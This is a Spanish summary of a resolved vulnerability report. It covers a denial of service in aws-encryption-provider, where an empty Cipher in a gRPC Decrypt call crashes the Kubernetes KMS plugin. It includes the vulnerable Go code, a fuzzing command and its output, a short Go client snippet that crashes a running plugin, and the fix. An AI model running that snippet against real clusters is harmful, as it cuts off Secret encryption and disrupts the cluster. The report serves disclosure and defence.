Reports
MEDIA[DENEGACIÓN DE SERVICIO]#3620748

aws-encryption-provider: un Decrypt con el cifrado vacío tumba el plugin KMS de Kubernetes

El plugin KMS de AWS para Kubernetes leía el primer byte del texto cifrado sin comprobar que existiera. Una sola llamada gRPC Decrypt con el campo Cipher vacío provocaba un panic y detenía el proceso.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

aws-encryption-provider es el plugin KMS que permite a Kubernetes cifrar los Secrets en reposo con AWS KMS. El kube-apiserver habla con él por gRPC a través de un socket Unix. El fallo estaba en V1Plugin.Decrypt() (pkg/plugin/plugin.go, línea 179): antes de descifrar, la función mira si el primer byte del texto cifrado es el prefijo de versión de almacenamiento, pero lo hace con request.Cipher[0] sin comprobar antes que el slice tenga algún elemento.

Si llega un DecryptRequest con Cipher vacío ([]byte{}) o nil, Go lanza index out of range y, como nadie recupera ese panic, se cae todo el servidor gRPC. El investigador lo probó sobre el commit 4341c70 y, según el reporte, afecta a todas las versiones. El reporte lo clasifica como Array Index Underflow, con severidad media.

El código afectado:

// pkg/plugin/plugin.go:175-181
func (p *V1Plugin) Decrypt(ctx context.Context, request *pb.DecryptRequest) (*pb.DecryptResponse, error) {
    zap.L().Debug("starting decrypt operation")

    startTime := time.Now()
    if string(request.Cipher[0]) == kmsplugin.StorageVersion {  // <-- LINE 179: PANIC if len == 0
        request.Cipher = request.Cipher[1:]
    }

La capa de protobuf deserializa Cipher como []byte, y un []byte puede llegar vacío o nil sin que nada lo impida. Ninguna validación anterior exige len(request.Cipher) > 0.

El investigador lo encontró con fuzzing: la primera semilla del harness, un []byte{} vacío, bastó para tumbarlo.

Pasos de reproducción

Con el fuzzer (harness FuzzV1Decrypt en pkg/plugin/fuzz_test.go):

  1. Ejecutar el fuzzing sobre el paquete del plugin:
$ go test -fuzz FuzzV1Decrypt -fuzztime 10s ./pkg/plugin/
  1. Falla en la semilla 0, de inmediato:
--- FAIL: FuzzV1Decrypt (0.00s)
    --- FAIL: FuzzV1Decrypt/seed#0 (0.00s)
panic: runtime error: index out of range [0] with length 0
    sigs.k8s.io/aws-encryption-provider/pkg/plugin.(*V1Plugin).Decrypt

Contra un plugin en marcha:

  1. Conectarse al socket Unix en el que escucha el plugin.
  2. Crear un cliente del servicio KeyManagementService.
  3. Llamar a Decrypt con Cipher vacío. El proceso del servidor se cae:
conn, _ := grpc.Dial("unix:///var/run/kmsplugin/socket.sock", grpc.WithInsecure())
client := pb.NewKeyManagementServiceClient(conn)
// This crashes the server:
client.Decrypt(context.Background(), &pb.DecryptRequest{Cipher: []byte{}})

Con Cipher: nil pasa lo mismo. El investigador lo probó en macOS arm64 con Go 1.26.1, pero al ser Go puro el fallo no depende de la plataforma.

Impacto

  • Caída del proceso completo: el panic no se recupera, así que muere todo aws-encryption-provider, no solo la petición que lo provoca.
  • Secrets inaccesibles mientras se reinicia: durante ese tiempo el kube-apiserver no puede cifrar ni descifrar Secrets en reposo. El reporte cita como consecuencias que no se pueden crear pods, que fallan lecturas de configmaps y que no se emiten tokens de cuentas de servicio.
  • Sin autenticación: el servidor gRPC no autentica a nadie. Cualquier proceso con acceso al socket Unix puede lanzarlo, y no le hacen falta credenciales de KMS válidas.
  • Trivial de explotar: basta con una sola llamada gRPC con el texto cifrado vacío.

Remediación

El reporte figura como resuelto. La corrección que propuso el investigador consiste en rechazar el texto cifrado vacío antes de leer su primer byte:

func (p *V1Plugin) Decrypt(ctx context.Context, request *pb.DecryptRequest) (*pb.DecryptResponse, error) {
    zap.L().Debug("starting decrypt operation")

    startTime := time.Now()
    if len(request.Cipher) == 0 {
        return nil, fmt.Errorf("invalid empty ciphertext")
    }
    if string(request.Cipher[0]) == kmsplugin.StorageVersion {
        request.Cipher = request.Cipher[1:]
    }

Qué aprender de este caso

  • En servicios Go que reciben protobuf, busca accesos del tipo campo[0] o campo[1:] sobre campos bytes o repeated: protobuf los entrega vacíos o nil sin quejarse, así que conviene comprobar len() antes de leer un prefijo o una cabecera.
  • Los plugins que hablan con el kube-apiserver por socket Unix (KMS, CSI, device plugins) suelen confiar en quien se conecta. Merece la pena revisar los permisos del socket y quién puede llegar a él, porque un fallo de un solo proceso puede dejar sin servicio a todo el clúster.
  • En Go, un panic no recuperado en un handler gRPC tumba todo el servidor. Además de validar la entrada, un interceptor que recupere los panics convierte un fallo así en un error de esa petición y no en la caída del proceso.
  • Fuzzing con la entrada vacía como primera semilla: este caso salió en la semilla 0. Cualquier función que analice un formato con prefijo de versión debería tener un harness así.